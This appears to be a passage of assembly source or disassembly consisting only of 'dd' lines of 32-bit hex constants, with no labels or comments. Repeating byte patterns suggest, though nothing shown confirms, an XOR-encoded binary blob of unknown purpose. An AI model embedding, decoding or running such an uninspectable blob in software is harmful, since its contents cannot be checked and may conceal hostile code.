dd 0ED2D3215h, 66113202h, 668820FCh, 0D1EE7415h, 24D5713h
dd 93AC40A4h, 559B4CEEh, 5D2C3EF7h, 7FB3A690h, 36943D13h
dd 6883215h, 7A5B8E9h, 662220FCh, 0E4AC3315h, 72AA4B5Eh
dd 766E9CB0h, 50509297h, 0EBAA6F8Ah, 3F83D690h, 0D94B5215h
dd 8F43CAEFh, 99EECC16h, 6695B91Ah, 0E34B3215h, 66223202h
dd 661120FCh, 77E94015h, 0ADADDB92h, 0FCB4987Ah, 60B3A48h
dd 577D56E6h, 13FC52EAh, 8F344D6Fh, 66113219h, 4EBDCC2h
dd 5F3399D8h, 0BD2F3E08h, 0BACB174h, 668E2034h, 766DB61Ah
dd 5DDA3215h, 7F80B290h
dd 540D3D13h, 8F443215h, 66223212h, 0DB38AF38h, 0EDF5652Fh
dd 7452FF90h, 0DC445213h, 7ED13B6h, 66898847h, 0B1453215h
dd 6629DB4Fh, 0D9F03215h, 0C51F8356h, 0C5F6A4E7h, 0EEA709CAh
dd 69172B84h, 66886890h, 67CA3D15h, 9F223215h, 65D8B79Eh
dd 0E7E83407h, 35216AD3h, 6630DA21h, 0D0503215h, 0F5C4D0E6h
dd 3196049Ah, 94317DB0h, 0F1E7C6B3h, 6688BD1Ah, 71A3215h
dd 66238946h, 0B9103215h, 7760524Eh, 0BD443215h, 2F1835CFh
dd 0B9FFE9F5h, 0BF421DAFh, 5FC4C6BDh, 796847h, 5D70CC9Eh
dd 7F19B690h, 34C13D13h, 69223215h, 66113A98h, 3EDF5215h
dd 7B578D73h, 0CBA7B974h, 69172004h, 66882592h, 6656DB15h
dd 3CCE3215h, 0EDDA27C6h, 2DFB315Dh, 4D0C715Dh, 0D9701607h
dd 66108C43h, 91893215h, 6657DB4Bh, 71E3215h, 0E1F64E2Eh
dd 0F689847Ah, 0E7996017h, 667891AAh, 0EA9409C9h, 698E2B84h
dd 66441490h, 67A13D15h, 93113215h, 4615B79Eh, 0EE4B3407h
dd 66223214h, 99A863ECh, 4F77CDEAh, 37246BDAh, 697C6847h
dd 5D70FCAAh, 7F19A290h, 5DC13D13h, 69223215h, 6611339Bh
dd 0E303C715h, 60562AE0h, 6623B01Ah, 33ED3215h, 30D5FCA8h
dd 64A1F30Ah, 6D5FD794h, 0BBE61335h, 9A41DF94h, 896DECEAh
dd 662ADB48h, 2FE23215h, 22488A7Ah, 0E37FD109h, 603BA381h
dd 662EB71Ah, 0EDE83215h, 0B9CF54D4h, 9FA7B974h, 6172026h
dd 3FD76347h, 78AB973h, 0A6ECB375h, 69337D9Fh, 66883490h
dd 66CA3D15h, 7223215h, 66108C43h, 91893215h, 6643DB4Bh
dd 0E2853215h, 7CDA2C69h, 0FE0D0954h, 69422B84h, 66220C90h
dd 6600DB15h, 94153215h, 91A58CD5h, 75466F9h, 5F173178h
dd 0ED785B2Bh, 7447AB90h, 6CAF3D13h, 6113215h, 0E287C89Eh
dd 66443215h, 0F79B6374h, 9174876Ch, 979B3C4h, 67DE7893h
dd 5DDE6BDAh, 7F80AE90h, 70D3D13h, 69443215h, 66222497h
dd 6600DB15h, 2F603215h, 69E65FD3h, 194BD52Bh, 9DBA6377h
dd 69AD6411h, 6644339Dh, 0E3A9CB15h, 600335C4h, 668820FCh
dd 0FF5C5E15h, 10C53720h, 0C5F8C3F7h, 0C554D8C9h, 0E49E274h
dd 66222FE8h, 99350E9Ch, 93D71611h, 66443DFCh, 521A0715h
dd 0EC1BE63Bh, 626C00AAh, 154D243Ch, 0F782B72Eh, 0E31E340Ch
dd 66883223h, 664CB11Ah, 0ED2D3215h, 66113217h, 0E3035375h
dd 60561D08h, 662220FCh, 9D96B115h, 0F70E6FF5h, 0F6A9B77Dh
dd 0D6EE86Bh, 359BAC9Ah, 668833AEh, 3D9B3315h, 0E319CAEDh
dd 6008A3B1h, 66CFB71Ah, 0E44B3215h, 66223212h, 69EFB875h
dd 0EDE9F4AAh, 74689390h, 0E32DC713h, 66113214h, 5A3260EDh
dd 9119B461h, 0E7F8C5C7h, 0F06043D7h, 564AB368h, 0E755BC21h
dd 0CD3BEDFFh, 3CC61BF9h, 66883AFCh, 0C732A615h, 0CD71BDC3h
dd 0CA940998h, 698E2B84h, 66446790h, 0ED445215h, 6616DBC2h
dd 231D3215h, 528987FAh, 0E3A953F8h, 600310FCh, 668820FCh
dd 3122FE15h, 5A85288Ch, 0D0CEA85Dh, 4DE93EA4h, 69148070h
dd 66223A99h, 88905215h, 76197F98h, 99FC6274h, 4FDDCDEAh
dd 6E86AD2h, 5F6EB373h, 64C73D9Bh, 35223215h, 0E32A534Bh
dd 6091A3BDh, 667DB71Ah, 0E5DA3215h, 740613A8h, 0E3873213h
dd 6644323Eh, 662EBA1Ah, 713215h, 0E73198ADh, 0B1C6EBDCh
dd 0EDDE5348h, 740E2F90h, 0D9875213h, 0BFFB3DC2h, 679C6474h
dd 67113215h, 0E57D6CE2h, 744787A8h, 0E22D3213h, 6611324Fh
dd 0A53F3D75h, 52C10974h, 69242B87h, 66117B90h, 67093D15h
dd 9F443215h, 4F37B79Eh, 75F83407h, 91883215h, 3F9F3396h
dd 4E4BF418h, 0F79CC947h, 0D6D9EBB0h, 24F814h, 6910F4AFh
dd 66113294h, 0DED85315h, 66443214h, 8F7AF514h, 6611321Fh
dd 0B4137E7Fh, 98AA6A1Fh, 0DBA10A6Bh, 60031C74h, 370C3D15h
dd 69443217h, 66223D91h, 661BDB15h, 8A6E3215h, 3C0ABC00h
dd 80BCA1D8h, 72F88F96h, 69883407h, 66461D91h, 76AD3D15h
dd 8F113215h, 6688321Eh, 8872F19Ah, 31797499h, 6D0ACA1h
dd 5DE9FD9Eh, 7FD62A90h, 40A73D13h, 8F113215h, 66883205h
dd 5F9D0FF5h, 2E4B148Ah, 0DB744E94h, 0DB205A8Bh, 65A9B79Eh
dd 34DE3407h, 661133AFh, 3C5F3315h, 4EC109E0h, 69242B87h
dd 66116390h, 67093D15h, 93443215h, 0AEA95475h, 6615B41Ah
dd 0DFEE3215h, 0ED250C6Eh, 743E9B90h, 0DD42CB13h, 9977CDEAh
dd 691FED3Ch, 66223E9Ah, 6616DB15h, 59603215h, 3E70A0A7h
dd 75A33D7Dh, 8F113215h, 6688321Bh, 23E0789Bh, 0BD5DEA0Dh
dd 4006973Ah, 0E3B3BA84h, 605DA009h, 6669B71Ah, 74F83215h
dd 22883215h, 0B75B832Eh, 0DDF039Dh, 89988A0Bh, 0A41A1ABCh
dd 33C1B994h, 69242002h, 66113593h, 0BF035215h, 7BE8D1Ah
dd 66238A45h, 0A1103215h, 669BDB4Dh, 37CA3215h, 7B52BC8Ah
dd 0EC254628h, 0A638982Ch, 0CC23A299h, 4AA7094Bh, 69172B87h
dd 66885190h, 76AC5215h, 55223215h, 1A0C9BFFh, 932DF7F4h
dd 14ED9E6h, 392EB011h, 661135FCh, 31C57315h, 0F6B235B3h
dd 0E3A7B974h, 617200Ah, 1A6E8873h, 6657BE1Ah, 68CB3215h
dd 46113215h, 0A7333724h, 7E70E080h, 0E04E21C4h, 0B19653D7h
dd 6689F094h, 0B1C33215h, 0EF2D5275h, 66113215h, 296AB374h
dd 754AF0Bh, 0F412B72Eh, 0E31E340Ch, 66883208h, 0ABC1B9E9h
dd 8F242001h, 66113212h, 44AF6581h, 33D10E17h, 99DDCDA8h
dd 3BFE1BEAh, 460D09EDh, 69422B87h, 66220590h, 699B3D15h
dd 8F883215h, 6644321Fh, 88B7073Ch, 0A37466A4h, 0ED7DD074h
dd 746F3790h, 6624DB13h, 2EC33215h, 7FC3D055h, 99BB8F40h
dd 890BCDEAh, 67933D48h, 9E883215h, 0F460B72Eh, 0E32D340Ch
dd 6611325Dh, 0AFA8975h, 86C471A4h, 69CB53E3h, 3B113215h
dd 55B8875Dh, 3A00B29Ch, 0E0D5199Eh, 0E39AEDFEh, 609A3170h
dd 0FFD58975h, 0A0A32805h, 0B75C91Ch, 67326074h, 67443215h
dd 0EC2D68C2h, 6611321Dh, 668AB61Ah, 7243215h, 72CB8F96h
dd 69113407h, 6681AC91h, 664EDB15h, 600F3215h, 0DA74E7A6h
dd 3EC91E4h, 8FC55475h, 5D43FFC4h, 7F808290h, 7A0D3D13h
dd 9E443215h, 44DBB79Eh, 8FED3407h, 66883210h, 56EE8B4Eh
dd 679F670Bh, 67113215h, 5D716FFAh, 7FD67690h, 7A73D13h
dd 69113215h, 66883A9Bh, 64CB3D15h, 6223215h, 0A394B974h
dd 68E200Eh, 0C75256AFh, 7FCB962h, 660FBC1Ah, 0EDE83215h
dd 6650DACCh, 0D4313215h, 80D130Bh, 7B9B42F1h, 51FF913Bh
dd 1E874475h, 7485D8Ah, 3BD76742h, 8FABB550h, 66223213h
dd 0E0F6E7D0h, 8FE8A54Eh, 66443213h, 75CF7453h, 7E9F57Dh
dd 0F73CB72Eh, 0E34B340Ch, 66223239h, 661137FCh, 359F3A15h
dd 0E3CF9026h, 603026B4h, 661DBC1Ah, 69E83215h, 6644329Bh
dd 0D19A5415h, 0DD4253C9h, 66883214h, 9F1FED14h, 0F79AB72Eh
dd 0E31E340Ch, 6688320Bh, 0BFC1B9ECh, 6242030h, 28DAB373h
dd 759B82Fh, 66458F40h, 89233215h, 0D11E5248h, 0E3B353C6h
dd 605DA3A9h, 6613B71Ah, 0EF1E3215h, 66883214h, 5BC1B9ECh
dd 93242012h, 0A490E592h, 66883214h, 72ADE592h, 26223215h
dd 581297B6h, 0D061D8E6h, 0F6AAC0DEh, 433D171Ch, 5DBE8440h
dd 7F19F290h, 0C13D13h, 6223215h, 745B8973h, 7C4DE95h
dd 71658F96h, 69223407h, 66116290h, 0B6095215h, 66B60F0Ah
dd 6627BD1Ah, 6FAB3215h
dd 7DF189Ch, 7C01B79Eh, 0E22D3407h, 66113212h, 6689BB1Ah
dd 69B83215h, 66223E90h, 60923D15h, 69883215h, 66443292h
dd 62CEB115h, 99350E9Ch, 8FD71611h, 6644321Ch, 0A782B5F7h
dd 65A7A319h, 0A20D0994h, 69422B84h, 66226990h, 7F9B3D15h
dd 8F883215h, 66443201h, 0FEB9508Ch, 83AE8185h, 1BADA9Ah
dd 0D52D2169h, 0FD4B59B3h, 661FDB75h, 0F9B13215h, 0E70C5B33h
dd 0F89F5769h, 5AC9A7Dh, 7528D1Ah, 7F85B79Eh, 33DE3407h
dd 661133A8h, 3B673315h, 664AB01Ah, 6FCB3215h, 73113215h
dd 7C039F03h, 0FDA96C94h, 0F7EAB72Eh, 0E31E340Ch, 66883245h
dd 47F9B1ECh, 66242002h, 6653B71Ah, 0E8873215h, 6644321Bh
dd 17E9B375h, 0E74AF86Fh, 4FDD0DFh, 0E3CF533Ch, 603035ECh
dd 99AC67E0h, 4F77CDEAh, 69B16FFAh, 6622259Dh, 6603DB15h
dd 0BF513215h, 6F237748h, 0EBECF807h, 0CB171D33h, 1DE4C4EEh
dd 0F788B72Eh, 0E32D340Ch, 66113255h, 2F18A75h, 61227A1h
dd 0ED436B74h, 743AEF90h, 6684DB13h, 914F3215h, 5C7BBCF3h
dd 0D21358BEh, 0D8DEC88Eh, 99BBCDEAh, 937CC53Ch, 66113DFCh
dd 493FAB15h, 64A9FD14h, 79C1F9D8h, 0D862BAC6h, 0F758B72Eh
dd 0E34B340Ch, 66223255h, 6610B41Ah, 0ED703215h, 744D3B90h
dd 6CA63D13h, 6113215h, 0FBADBABh, 0FFB6B26Ch, 679A6274h
dd 67113215h, 0E2876AD2h, 66443201h, 66223DFCh, 958A6915h
dd 0D5D595A4h, 0B0875DCFh, 81CE2A7Ch, 0F7C9B72Eh, 0E387340Ch
dd 66443252h, 479FB1E9h, 66172002h, 66B1B71Ah, 0E7243215h
dd 0DEE9CBD7h, 705810Ch, 7505B79Eh, 0E74B3407h, 66223212h
dd 6610BB1Ah, 35713215h, 664433AEh, 3DFD3315h, 6610BC1Ah
dd 8F713215h, 66443212h, 0DA9EA8AAh, 5D600EEBh, 7F19E690h
dd 0BC13D13h, 8F223215h, 6611321Bh, 0AB93A956h, 84D4135Fh
dd 4D5952Eh, 0DB92144Ch, 609A2534h, 2BC13D15h, 69223215h
dd 66112C94h, 7E0B3D15h, 8F443215h, 66223206h, 0FC378CEAh
dd 46E961D8h, 41D56DDCh, 707FC2D9h, 0EDAC2430h, 74A82F90h
dd 67C53D13h, 9F223215h, 99AB60E9h, 4F77CDEAh, 0ED4B68C2h
dd 66223219h, 89905475h, 0E7EE1863h, 79392D6h, 0F7FEB72Eh
dd 0E31E340Ch, 6688323Bh, 9BC1B9E0h, 8F242036h, 66113201h
dd 199B5837h, 650F2EF9h, 6C30351h, 0EEDDED65h, 69D8AEB7h
dd 99BB8A45h, 0A10BCDEAh, 0ECE4524Dh, 0E3B353E0h, 605DA3F5h
dd 6617B71Ah, 69713215h, 6688309Ah, 7255215h, 623BB79Eh
dd 69E93407h, 6688359Ch, 67CF3D15h, 9E223215h, 66108F40h
dd 89893215h, 6ECA3D48h, 69223215h, 6611309Fh, 5DE95215h
dd 7FD5D690h, 2DA73D13h, 69113215h, 6688339Fh, 0E3CFCE15h
dd 6030359Ch, 661139FCh, 0A9126A15h, 0F2B17EF9h, 47566A25h
dd 1DD58F40h, 93093B18h, 90B6B62Eh, 67FDD3Ch, 4E4B8873h
dd 668826FCh, 428D3515h, 9501AE96h, 28B360ACh, 5A409753h
dd 0CBEB8E0Eh, 0E319531Fh, 6008A3FDh, 66A8B71Ah, 9FBD3215h
dd 668FB79Eh, 30ED3407h, 83AB76ABh, 0DB82B345h, 678D28C9h
dd 0E6716CE2h, 0D987F1F9h, 0E37F53EAh, 603BA3F9h, 6621B71Ah
dd 75613215h, 5443215h, 0B4E964E7h, 0B155ACFh, 8FDE12FDh
dd 0FA9BB2BFh, 0E3A9BEEAh, 60031F50h, 263062E9h, 9124E40Eh
dd 82E31FCDh, 0A138AD3Ch, 0E3B3C74Dh, 605DA3E5h, 6651B71Ah
dd 0E41E3215h, 66883219h, 6642B01Ah, 0E52D3215h, 66113215h
dd 4CD5B79Eh, 0E04B3407h, 6622320Ch, 661126FCh, 0F8833215h
dd 224256FBh, 675F9B9Fh, 585C4C18h, 294A3A00h, 579B0363h
dd 25FD03EEh, 8F71ED92h, 66883206h, 0C1B4247Bh, 3B534247h
dd 0D947BC38h, 9FDBB77Bh, 715931Eh, 6631B41Ah, 68F83215h
dd 0CF883215h, 8CE80C27h, 0A88617D9h, 2B93C552h, 920D090Fh
dd 69422B84h, 66225190h, 76F95215h, 0B0883215h, 39452DF4h
dd 0E6EA8B4Ch, 18D41258h, 35DBA4A0h, 0E04B6A4Dh, 66223214h
dd 0E39A53ECh, 609A0000h, 80C55475h, 6DCA52EAh, 12113215h
dd 0E301EC72h, 216EDDE1h, 6ECBC2C6h, 0BF113215h, 2B6FA042h
dd 3867CC38h, 67986074h, 67113215h, 0E08768C2h, 6644321Dh
dd 6620B61Ah, 7713215h, 0F770B72Eh, 0E34B340Ch, 66223257h
dd 0A794B9EDh, 698E203Ah, 66442995h, 75CA5215h, 2C113215h
dd 5302BAD1h, 6C04D2BDh, 6953603Bh, 0A1FD382h, 7D369A6h
dd 66458A45h, 0A1233215h, 6D903D4Dh, 8F883215h, 66443213h
dd 0C0093E06h, 0E32A3B86h, 609A1B84h, 660BB71Ah, 69423215h
dd 66113395h, 0D8EECB15h, 0ED25D2A0h, 742EA390h, 0EF1E5213h
dd 66883215h, 0DE1453E0h, 18DE43EAh, 6505FD10h, 4350C551h
dd 69DB3DBCh, 5326D2D4h, 0B611A014h, 8FD0F514h, 66443204h
dd 0C9AAFDE3h, 0D1B9708Ch, 85CD63E1h, 0C52AAE4h, 9AA7095Ah
dd 69172B84h, 66882C90h, 0E3CFCE15h, 60300164h, 99AC67E9h
dd 4F77CDEAh, 6EAD6FFAh, 0B1223215h, 5229070Fh, 5D82E63Bh
dd 7FD60A90h, 1DA73D13h, 6113215h, 90A2DB94h, 1FD0482h
dd 72A8BF3h, 0CB978A75h, 0E5E96B55h, 7FD672A8h, 0E32D3213h
dd 66113235h, 6684B71Ah, 0E34B3215h, 66223213h, 6611BE1Ah
dd 0DB0B3215h, 605626B8h, 5DA63D15h, 9A113215h, 7415B79Eh
dd 75AD3407h, 58223215h, 0C879C6A5h, 0C7DCEF22h, 0E1701D51h
dd 85A6CC7h, 0DD42D33Dh, 30F01AFDh, 76D1C194h, 0ADA33DFBh
dd 450D186Ah, 5C08D994h, 0B96D498Bh, 0E319CE4Eh, 6008A029h
dd 66ECB71Ah, 0EA4B3215h, 66223219h, 6617BF1Ah, 0EB873215h
dd 66443215h, 0F4628F96h, 6911340Ch, 66882F90h, 664EDB15h
dd 5B373215h, 0FC548C29h, 0D445A1BFh, 72E98F96h, 69223407h
dd 66111B91h, 0E303CE15h, 60562A98h, 662238FCh, 0DA57D515h
dd 86E753BDh, 376E9694h, 662233ACh, 3FDE3315h, 4C6DB275h
dd 0AFB2B373h, 0E319530Fh, 6008A015h, 66C2B71Ah, 0D7243215h
dd 6624DA4Ah, 0DDE53215h, 0BFA3B7A3h, 6644B51Ah, 7793215h
dd 7E10B79Eh, 0E2873407h, 66443204h, 6629B51Ah, 60F83215h
dd 90883215h, 0DAB81B6Fh, 679C64ABh, 67113215h, 0E9876CE2h
dd 6644321Dh, 6620B11Ah, 7713215h, 0F48CB72Eh, 0E34B340Ch
dd 66223232h, 2794B9E9h, 698E200Bh, 66443396h, 0DD71C715h
dd 66113214h, 8FD3ED14h, 6644321Eh, 7B6883D9h, 0C1DBB74Ah
dd 5DC6D6F9h, 7FD63A90h, 24A73D13h, 8F113215h, 66883207h
dd 0F733A1C1h, 2677851Ah, 0E40A083Ch, 483C151Ch, 0E3CF0A41h
dd 60300074h, 661EBB1Ah, 6C613215h, 0E9443215h, 0EE7BEE1Dh
dd 9751FF1Ch, 9931636Ah, 4FBBCDEAh, 0EF2D6BDAh, 66113214h
dd 6A0D09E9h, 69422B87h, 66227F90h, 0E51E5215h, 6688320Dh
dd 664420FDh, 6CEBF715h, 3CA6EC78h, 75884539h, 0E7F994B8h
dd 3CD50C8Ah, 7E08D1Ah, 69BDB79Eh, 69243407h, 3443EBAAh
dd 661133AFh, 3C5F3315h, 0E0C58B75h, 6CCB5B0Ch, 4C113215h
dd 45AF7C50h, 0F7F63ED9h, 0E31953E9h, 6008A005h, 66BBB71Ah
dd 0EDB83215h, 7438F390h, 0DB44CB13h, 1E222DC4h, 148DFF94h
dd 93A3097Ch, 55E20C09h, 8B49EFE2h, 0D9A9B31Dh, 4F2285F2h
dd 0E7716FFAh, 91B949E3h, 0BAA6B200h, 72A70974h, 69172B87h
dd 66887C90h, 0E3CFCB15h, 603010ECh, 27CAB375h, 0E7FB30CAh
dd 40255FCBh, 0EA2D534Ch, 6611321Bh, 66883BFCh, 804EBA15h
dd 33CC03EEh, 0DE4149B4h
dd 9977CDEAh, 691CF53Ch, 66223591h, 67933D15h, 93883215h
dd 664438FCh, 5A798715h, 307F4CA9h, 6D07F64Ah, 51C03DEAh
dd 6223215h, 6617BA1Ah, 0E1873215h, 66443215h, 662239FCh
dd 9BA82615h, 0F42D22B6h, 575273C8h, 8B47DB74h, 69F8CDEAh
dd 2E883215h, 1EA0845Dh, 0F1879D91h, 9B83B762h, 0E3B33D5Bh
dd 60561824h, 6601B71Ah, 0ED713215h, 0EB7453CFh, 7F633990h
dd 0D12D5213h, 6619DBC4h, 6D893215h, 9BB61A9Ch, 8F433BFBh
dd 99EEDF36h, 230D09E0h, 69422025h, 66226C90h, 0D11E5215h
dd 71083DD6h, 8F443215h, 66223207h, 4BAF6661h, 70036BA4h
dd 9555879Eh, 0A5ACC2D2h, 9A70EC32h, 0F7E88F96h, 6945340Ch
dd 66221C90h, 661ADB15h, 0E6B73215h, 3653BD4Fh, 4430A3E5h
dd 194BFEAh, 8F886B1Eh, 66443212h, 4F846322h, 8FF0E045h
dd 9977DEAAh, 426C8975h, 5D431FDDh, 7F804290h, 470C3D13h
dd 8F443215h, 6622321Ch, 6226BD6Fh, 0F286D47h, 12C10967h
dd 69242B84h, 66112D90h, 670D3D15h, 9F443215h, 99CEB4FCh
dd 0DD7752EAh, 6E61B90Eh, 6A443215h, 6FB1943Eh, 71155C3h
dd 79F35A45h, 0A71C5FEDh, 0DD7134F5h, 6C93125Dh, 91D3EA14h
dd 66B31FC5h, 0A0AB4563h, 6618DB4Dh, 4E613215h, 0BF519BC7h
dd 93F1A5B4h, 6910CC96h, 6688F690h, 74CC3D15h, 8F223215h
dd 66113218h, 0B63828EDh, 0AA2AE6B7h, 0EBFAD47Ch, 2940915h
dd 698E2B84h, 66440F90h, 72CB5215h, 74113215h, 77502805h
dd 8F59360Dh, 70FC98F2h, 0FEE72D75h, 9FD9CA30h, 0A2C1BF74h
dd 6226A92h, 34C0B973h, 0D960B373h, 8F25692Bh, 99DDD9F2h
dd 71A08975h, 3C3A0C45h, 0E37FCE74h, 603BA37Dh, 663EB71Ah
dd 61613215h, 0E443215h, 7A558A99h, 0E39C4CF1h, 66D0BA2Fh
dd 664439FCh, 0C89E3E15h, 5EAEE2F6h, 0E46BB2EBh, 8DEDDBE9h
dd 0E82DCDEAh, 66113214h, 0A0D09E9h, 69422B84h, 66222E90h
dd 0E39CCB15h, 66D0BA6Ah, 6645BD1Ah, 9ADA3215h, 99FAB0FCh
dd 7D52EAh, 50C6F994h, 0A1AB6574h, 64E6A42h, 0F5038973h
dd 0EB4B53EDh, 66223202h, 8FE2B975h, 6688321Bh, 64ECB50Fh
dd 5F22AF6Fh, 0AE70D9F5h, 0D8E97DCDh, 3AB94853h, 3F768847h
dd 8C904FA4h, 6FA5D82Ch, 0E71EE41Ch, 0A4BC5FBh, 80907C5Bh
dd 7BBB300Dh, 65B2B353h, 62E2115h, 66113DFCh, 29252015h
dd 8B934E9Eh, 0BC1FA10Fh, 2B0C725Ch, 6DE955A1h, 6DC13DE3h
dd 6223215h, 7EAB973h, 9962FAFCh, 22CCAEAh, 0EF22322Fh
dd 694F1611h, 66882294h, 664FDB15h, 0F2BF3215h, 44E8FA4Dh
dd 0B3D04581h, 6650DB29h, 374F3215h, 0AAD9E769h, 34C0B696h
dd 0CEEF82CEh, 16A0F213h, 0D398CED4h, 609A2F48h, 664EB61Ah
dd 63CB3215h, 0E3113215h, 0D220AB20h, 54B1879Ch, 6423407h
dd 61E395h, 72E82AEh, 58C453E9h, 6FA73DFCh, 69113214h
dd 6688289Ch, 74AC5215h, 0D7223215h, 0DD7478BCh, 112578F4h
dd 0E506706Eh, 5FD9F77h, 9A706D08h, 368944EAh, 0A6471BADh
dd 42661B2Dh, 0E74E6A11h, 0A68B1BD2h, 60CB3D2Dh, 6223215h
dd 9A06FC95h, 0B67B374h, 0E71C8F60h, 964EDDD2h, 0E7E6336Dh
dd 96E4DDFAh, 0B83B36Dh, 8F7A8F60h, 6611321Dh, 2DB80FD4h
dd 0CE851642h, 97996143h, 57585076h, 3D8C1649h, 97B7B34Eh
dd 66B5076h, 661135FCh, 65668515h, 0AECC70ACh, 7F18D1Ah
dd 62FDB3EDh, 0EF883215h, 54FA1621h, 0E70AB11Dh, 0E4D900FBh
dd 387B333Dh, 6AD8675h, 6622BA1Ah, 0D8773215h, 7E9BEDEh
dd 7B198F2Eh, 0E42D3407h, 6611323Dh, 668826FCh, 0EEEC1F15h
dd 0F447799Bh, 0F6B05A88h, 8299DE77h, 604C3B08h, 69D90935h
dd 66111593h, 67073D15h, 9F443215h, 99CB42FCh, 6614DBEAh
dd 80BC3215h, 69AA48E8h, 66223992h, 0DC775215h, 0E7EE6E69h
dd 74416F7h, 4B1F8F9Eh, 0A1E93407h, 74AE8390h, 66443213h
dd 95A35215h, 45507EE5h, 6E9E19Eh, 66443BFCh, 0F81D9615h
dd 508AC2EFh, 0D301AC83h, 605600E0h, 0B9BFBFE9h, 9E172800h
dd 66883BFCh, 0D8E30E15h, 851BA70Bh, 0B5EE1F50h, 6689B51Ah
dd 6DB83215h, 44A63DD5h, 6113215h, 2D63B373h, 0ACCF5466h
dd 667EDB74h, 68F83215h, 9F883215h, 3675D734h, 552DDF9Fh
dd 0C4E540ABh, 0BF15BFC5h, 8F422599h, 66223212h, 4A8491E5h
dd 9982972Dh, 0F1C73DC6h, 6DDCDEAh, 6970BBA7h, 6688339Fh
dd 0D3CFCB15h, 603000E0h, 0D7A4BBE0h, 68E2033h, 0E2AE11ADh
dd 0EB43C772h, 7E8DAD88h, 0B6035213h, 9925E39Eh, 0E3A9CBC6h
dd 60032F48h, 66883EFCh, 0CD653515h, 0D154E7Eh, 4C29299Dh
dd 930DBBEFh, 6422027h, 8E668675h, 66113204h, 21E1ADF7h
dd 0DAEDD97Dh, 0AF7BAC0h, 0E44B2775h, 7E96907h, 75AC5274h
dd 0B4223215h, 0B336124Ah, 0A5C85DD4h, 504F4AE4h, 28388413h
dd 38EDE6FBh, 7BCEF95h, 69AC0C95h, 66228990h, 0E7775215h
dd 8F5B7CF7h, 66443213h, 0E2D9193Ah, 9E70D415h, 4B398F96h
dd 69443407h, 6622A991h, 6605DB15h, 249B3215h, 0CBEF017Fh
dd 0AFACE49Bh, 71C9B2D8h, 29C8B9F6h, 6249811h, 9BACDA94h
dd 38414A98h, 0D5DB5374h, 0ED9CBAFCh, 0A2A31609h, 66113211h
dd 8FA08675h, 66443207h, 21244BB2h, 125E826Ah, 0EA20338Bh
dd 2A42AE6Dh, 0CC4343E2h, 6610B01Ah, 9E7D3215h, 30B1BB40h
dd 96ABDC9Ch, 4BE96F4Bh, 111C1C1Dh, 0F2453538h, 63DA1B12h
dd 61853312h, 0F2A63A10h, 3115C762h, 662236AAh, 39E8BB15h
dd 69D1FA3Ch, 66443399h, 9A89CB15h, 66134DFCh, 670D3D15h
dd 9A443215h, 9D8CAF98h, 6BF8340Ch, 0C3883215h, 0F3D4388Fh
dd 0D10B450Eh, 0F09AEBAAh, 0EDE8E1EAh, 6654DACBh, 0C4733215h
dd 8A0C6B5Eh, 266C0CAFh, 337684FBh, 0D92D7388h, 8F706CEFh
dd 66883212h, 855EAFB1h, 0EBAD6209h, 7C019A88h, 0B577CA13h
dd 664426FCh, 0BD065315h, 4205D187h, 0A2AF2B39h, 27E74E82h
dd 4455BC09h, 69D13927h, 66881490h, 664BDB15h, 0CC1B3215h
dd 0F69DF2A5h, 0A6D69872h, 0C745FB7Fh, 661ADB7Ah, 0E7713215h
dd 9BFA54DAh, 0E8718B5Fh, 0E543131Dh, 7423C790h, 0E1873713h
dd 66443214h, 98B4DBE9h, 0DC71CDEAh, 5F90512h, 664437FDh
dd 0C6E69015h, 0B79080F1h, 534A5811h, 0FBC9534Bh, 603820DEh
dd 6600DBE0h, 0D21F3215h, 94A4184Bh, 0C82B830h, 0A2F17E3Ch
dd 9993CE7Bh, 0A64FCBC6h, 662CB71Ah, 8FE43215h, 66883270h
dd 9ECF5475h, 7E5E995h, 62A86343h, 0EF883215h, 94456BDBh
dd 662EDB4Bh, 4DAD3215h, 0B2D7D423h, 44158960h, 7CB56A9h
dd 6113214h, 668821FCh, 35D28715h, 958A1C95h, 1F837BB9h
dd 64CD0EEh, 0AAA436E8h, 0EA2D53E0h, 6611320Ch, 0C558B375h
dd 8F5827A7h, 66223219h, 0D5973DEFh, 30716640h, 284B00D5h
dd 0BFBFBF74h, 9A172599h, 0E587E1EAh, 66443229h, 6625B81Ah
dd 0E21E3215h, 66883214h, 93F1B9E0h, 6242027h, 6615B21Ah
dd 0DDEE3215h, 94C5BCFBh, 5B312A9Ah, 4802DB74h, 0EB873215h
dd 66443219h, 662235FCh, 1B64FC15h, 0A5989E0h, 54B1BF9Eh
dd 61CB3407h, 0DD113215h, 0F53D0F71h, 0D3CD6253h, 603000E0h
dd 8C905475h, 0B408EF1Ah, 0DC165353h, 445E2028h, 3C51D094h
dd 84493D28h, 398EB312h, 247EE642h, 1B11F894h, 0A40943BDh
dd 8945B094h, 4F78E33Ch, 87D0B3E4h, 6E6CD14h, 0A1AAD494h
dd 0EF2D18EBh, 66113213h
dd 6688B71Ah, 0E253215h, 6622769Eh, 91353E9Ch, 8FD11609h
dd 66443207h, 194E489Eh, 638A071Ah, 7C3836D8h, 8524D86Dh
dd 0DE7247B7h, 35744D78h, 0F1AB8638h, 442C1F0Dh, 400F420Ah
dd 6B3E3300h, 18136301h, 8C9E6810h, 3EE4332Dh, 8890FC3Ch
dd 5E227D8Ch, 6643BD1Ah, 0E22D3215h, 66113214h, 8F2CC1ECh
dd 6644321Dh, 0B40F1CEh, 0F864FBD3h, 9974FDFCh, 6642DBEAh
dd 8E793215h, 7976D99Bh, 0F828AF98h, 99B8340Dh, 0B3A852C6h
dd 3770CC9Eh, 0AE01CB9Ch, 0E5603E9Eh, 0E72D36D1h, 66113201h
dd 66883DFCh, 69956E15h, 84B588E2h, 0CBB1B1DDh, 8D4387F0h
dd 4B79B73Eh, 9ADA3407h, 7C00B79Ch, 6B613407h, 0E3443215h
dd 868D6B48h, 0D1A97ED4h, 3785E011h, 4B79B79Eh, 0E7423407h
dd 191330CAh, 0A6E05315h, 0EF443231h, 31D71629h, 0A190D59Ch
dd 66883211h, 0E140DD96h, 0EF7E1629h, 6AF81611h, 0F7883215h
dd 0BC04A27Ah, 857980EBh, 0EB9A78BAh, 7E28C098h, 2DF05213h
dd 662221FDh, 42B1415h, 399F866Bh, 3B8CFE8Ah, 0F1ECC6ABh
dd 0C88447C3h, 9CA24FABh, 99256C32h, 6631DBC4h, 56B63215h
dd 48B696C0h, 0C71FDA6Bh, 0A6D3A994h, 2AF8D212h, 70DB935h
dd 8F42203Dh, 6622321Ch, 5CD4E63Ah, 0E253F41Ah, 84CD6075h
dd 6626F094h, 8C903215h, 66883211h, 3A602692h, 9E06369Ch
